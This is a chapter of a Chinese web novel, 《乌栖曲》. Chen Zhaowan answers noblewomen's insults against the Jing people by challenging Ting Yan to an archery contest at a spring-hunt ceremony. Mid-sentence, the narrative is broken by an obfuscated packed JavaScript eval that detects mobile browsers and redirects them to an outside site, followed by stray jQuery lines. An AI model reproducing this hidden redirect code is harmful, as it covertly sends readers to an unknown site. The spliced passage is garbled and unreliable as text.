12. 第十二章

作品:《乌栖曲

    陈昭绾的思绪是被其他人的说话声拉回的,她听到有人在说“靖朝”与“春蒐”等词。


    细听下去,才知几人口中的话有多不堪入耳,对靖人更是几近嘲讽。


    “哟,这是……是……”一位头戴金钗的贵妇走近赤申府的席位同身旁另一名身穿青莲色衣裳的妇人高声交谈着。


    声量高得像是故意要让陈夫人听见似的。


    而二人身后跟随的几名少女,款款踱步而来。


    “是御史大人家的家眷。”身着青莲色衣裳的妇人笑道。


    陈昭绾看去,那人的笑意里竟是掺了几分谄媚和讥讽。


    “啊,原来是御史大人家的,那也难怪,御史大人的面子还是要给的。”头戴金钗的妇人笑道,“不过……我说怎的这校场内一股腥臊味呢?这也合理,毕竟什么鸡人、鸭人的都能来这儿观礼了。”


    说着那人将帕子抵在口舌处,好似校场上真有一股子腥臊味,令人作呕一般。


    赤申惊鹊闻言拳头握紧,正欲起身与她辩论一番,却被陈夫人按了下来。


    她不解地看向母亲,说道:“母亲就任由她们这般嘲笑?!”


    “她们并未指名道姓,你如今这般愤怒不正好合了她们的意?”陈夫人端起茶杯抿了口茶,继续说道:“喝些茶降降火,射柳仪要开始了,莫给你父亲惹事生非。”


    陈思文她早已习惯了这些嘲讽与不堪的话语,这几年来燕戎的等级观念愈发严重,上层贵族对于靖人的诋毁也愈发地多了起来。


    “可!”赤申惊鹊还欲再说,被母亲一记眼刀打断了。


    陈昭绾不动声色地打量着眼前的几人,按着方棠雀给她的名册,若是没记错的话那个带金钗的应该是枢密使廷舫的正房夫人,而身旁那个穿青莲色衣裳的大概是大将军折珂的夫人。


    一名少女小跑上前挽起贵妇人的手臂,笑容灿烂地问道:“母亲在同将军夫人讲些什么呢?”


    身后的校场中央,一人高声宣布着射柳仪的开始。


    “母亲与将军夫人快入座吧,这射柳仪要开始了。”


    “烟儿今年可是又要拔得头筹了?”将军夫人笑着问道。


    “夫人谬赞,烟儿不过是班门弄斧罢了。”廷烟回道。


    听到这里,陈昭绾放下茶杯起身走向廷烟。


    “阿绾,你要作甚?”陈夫人在她身后低声问道。


    她并未回答,只是在廷烟面前站定行礼道:“廷姑娘,可愿与我赌一局?”


    她的话没头没尾,廷烟听得有些疑惑,但廷夫人深知此人是何来头。


    方才说话的时候便看到了她,坐在陈夫人身旁,眉眼间散发出来的气势竟是让她也吃了一惊。


    “赌什么?”廷烟问道。


    “烟儿!”廷烟身上一向有一股不服输地劲儿,廷夫人担心廷烟赌输丢了面子,急忙阻止道。


    “母亲不必担心,烟儿不会输,身为父亲的孩子,若是畏首畏尾地不接才是丢了枢密使的面子。”廷烟将手覆在廷夫人的手上,安抚道。


    “夫人方才讲话时对我家夫人几近贬低,说靖人身上有一股腥臊味,如今怎的反倒害怕起来了?”


    “难道我母亲说得有错吗?”廷烟起身挡在廷夫人身前,质问陈昭绾道。


    陈昭绾勾唇浅笑,说:“有。”以往如死水般平静无波的声音,赤申惊鹊竟听出了几分起伏。


    那掷地有声的话语像是一颗石子落入水面,激起层层涟漪。


    “廷姑娘可有心应下这一赌局?”


    “赌什么?”廷烟收敛了笑容,她看着眼前的对手,蓦然生出几分敬意。


    “就赌……”陈昭绾抬手,指尖修长白皙,虎口处却有一层薄茧。


    她指向校场中央正在比试的两人,说道:“就比射柳怎样?”


    “你要与我比射柳?”廷烟仿佛听到了什么泼天的笑话,她笑得前仰后合。


    心道这人也太不自量力了些,且不说她连续几年在射柳仪中拔得头筹,就体力来说靖人也不敌燕戎人。


    “你可想好了?”廷烟问道。


    “嗯,三局两胜,若是廷姑娘输了,你们便要为方才的话,同我家夫人道歉。”


    “若是你输了呢?”


    “没有这种可能。”陈昭绾说道,“靖人不比燕戎人差,也不低燕戎一等。”


    “好啊,那我就来治治你这狂妄自大的毛病。”廷烟将赌局应下,她回头对身旁的侍女说:“榴花,去取我的弓来。”


    赤申惊鹊满脸担忧地扯了扯陈昭绾的衣角说道:“你别胡闹行不行!若是输了你要赤申家的脸往哪放?”


    “不会输的。”陈昭绾回头看着她说道。


    “你连弓都不一定拿得住,哪里会射柳?!”


    “你怎知我不会?”


    “我。”赤申惊鹊望向陈昭绾的眼睛,蓦地被她的眼神唬住了。


    她的眼神坚定非常,像是对这场赌注十分有把握。


    “你……真的会?”赤申惊鹊转了话头,迟疑地问道,“可你连弓都没有。”


    “连嬷嬷,把我的弓拿给她。”迟迟没说话的陈夫人开口道,今早出门时不知怎的,鬼使神差地便拿了弓,谁知竟还真用上了。


    “是,夫人。”


    连嬷嬷取了弓来,那是一把乌木长弓,弓身缠绕着褪色的金丝绦,是燕北将门世家的象征。


    陈昭绾屈指轻叩弓身,沉水檀木的震颤在掌心蔓延,经年打磨的细密纹路在太阳光下泛着耀眼的光泽。


    “这把弓……许久未见天日了。”陈夫人不禁感叹道。


    当年兄长将弓箭予她陪嫁,她却没能让它物尽其用,在阴暗的角落中沉积多年,如今总算能让它重见天日了。


    陈昭绾抬手握上那把弓,背身朝中央的校场走去。


    春日的风吹拂起她的发丝,遮住了半张尚且稚嫩的脸庞,少女上挑的眼眉早已没了“春风得意马蹄疾”的少年心气。


    取而代之的是为即将面对敌人的坚定与傲然,由内而外散发出的是一股名为“坚韧不拔”的韧性。


    虽说燕戎围猎前的射柳仪无论男女皆可参加,但女子参赛的数量依旧落得下风,像廷烟这样能在一众男子中拔得头筹的更是少数中的少数,孤勇至极。


    “父亲快看!是阿姐!”枢密使家的二公子激动地说道。


    阿姐年年都能在一众男子中胜出,最是为父亲长脸,整个燕朝箭术他阿姐敢称第二,便无人敢称第一,就连那号称战无不胜的征西大将军、燕戎的公主殿下都略逊于他阿姐。


    因此他以阿姐为傲。


    想着日后若也能同阿姐一般,做箭术天下第一的人。


    “少年心气。”枢密使大人摸了把胡子评价道,“这就按耐不住了,日后怎么成大事?”


    “廷大人此言差矣,少年心性才是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520141|170566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最珍贵不过的,少年人就该有少年人的样子,何必事事打压?”身旁的巫昶大人笑道。“另一位是……”


    随着众人惊呼廷烟的出场,陈昭绾的身影紧随其后。


    “廷烟身后那位又是哪家的千金??”众人目睹着这个从未见过的身影出现在校场中央,与廷烟并肩而立。


    顿时一石激起千层浪,人群中传来议论声。


    王帐中不知何时多出的身影引起了祁归的注意,他转头望去,祁宸正直直地盯着立于校场中央的二人,如同吐着信子的毒蛇。


    这人何时出现的?祁宸为何会用审视的目光看向她?他认得赤申昭绾?两人之间究竟是何关系?


    “皇兄,”祁归周身散发出的冷峻气息将祁遂吓得一个激灵,他小心地说道:“皇兄是不喜欢那个姐姐吗?”


    “为何这样问?”祁归微怔,这孩子小小年纪便在宫中学了套察言观色的本事,只是不知他从哪里看出来这个问题的,于是反问道。


    “皇兄方才……有些唬人。”祁遂犹犹豫豫地说。


    祁归是整个皇城里待他最好的一个人,他看到的都是祁归温和的一面,从未见人如此可怖过。


    “想不想骑马?皇兄带你去林子里溜一圈可好?”祁归不想回答祁遂的问题,也不愿解释自己为何会是那副神情。


    他动作干净利落地翻身上马,坐到祁遂身后问道。


    未等祁遂发出拒绝的声音,他便不容置疑地勒紧缰绳调转了马头。


    汗血宝马在他身下温顺地低嘶一声,鬓毛化作榴火在风中翻卷,带着祁归与祁遂冲出营地,朝着山林深处奔去。


    帷帐中人们的议论声还未止息,赤申琅抬头看去,只见廷烟身旁站着一名拿弓的少女。


    她虽半遮着面容,但赤申琅只肖一眼便认出了那身衣裳,这不是阿绾今早出门时的打扮吗?


    尤其是头上那枚玉簪,是前几日夫人特意寻人为她打的。


    赤申琅朝身旁的小厮勾了勾手,小厮应声俯身,赤申琅在他耳边低声讲了几句话,命他去夫人那边问个清楚。


    陈昭绾在赤申府总是一副不争不抢的样子,今日竟要与枢密使千金争个高下,看样子不像是朋友间的比试,更像是一场赌局。


    究竟是怎样的原因,才会让陈昭绾如此出风头?


    枢密使不动声色地瞥了一眼赤申琅,随后移开视线看向廷烟身旁的陈昭绾。


    少女正低头调试着自己手中的弓箭。


    “赤申姑娘,你我二人三局两胜如何?”廷烟问道。


    “好。”陈昭绾回应道。


    “二位姑娘可是要比试?”待上一局的两个人比试完毕,宫人更换柳枝的空隙,监赛使看向两人问道。


    二人不约而同地点头,方才比试的两位少年纷纷回头。


    两位少年相互比试是常有的事,两位少女比试射艺倒成了稀罕事。


    监赛使见怪不怪按照规程向两人解释比赛的规则:“每人三支箭矢,射断柳枝多者,胜。”


    陈昭绾与廷烟手执木弓在各自的位置上站定,百步外柳枝上所系的彩绸在风中摇曳。


    廷烟紧握着手中的弓箭,神情倨傲,似有九分胜算。


    她从涂满红漆的竹筒中抽出一支箭羽搭在弦上,布满薄茧的指节勾住两股绞合的弦绳,箭尖瞄准纤细的柳枝,手上用力将弓弦拉满。


    “赤申姑娘可看好了。”